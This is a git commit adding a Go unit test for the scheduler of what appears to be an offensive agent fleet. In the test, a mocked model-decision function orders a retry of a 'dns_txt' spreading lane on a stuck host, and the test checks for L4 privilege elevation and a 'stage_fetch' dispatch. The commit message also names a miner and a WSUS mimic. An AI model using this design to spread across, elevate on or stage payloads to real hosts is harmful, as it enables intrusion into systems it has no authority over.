Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
t.Fatalf("unexpected elevation: %+v", req)
}
}
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `Verdict: retry dns_txt.
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
}
elevator := &mockElevator{}
exec := &mockExec{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
&mockSnap{
ids: []string{"court-1"},
snap: AgentSnapshot{
AgentID: "court-1", Name: "host", Stuck: true,
LOTLAttempts: stuckSpreadAttempts(),
},
},
exec,
&mockStore{},
&mockCourt{},
elevator,
)
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
elevator.mu.Lock()
defer elevator.mu.Unlock()
found := false
for _, req := range elevator.requests {
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
found = true
break
}
}
if !found {
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
}
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
}
}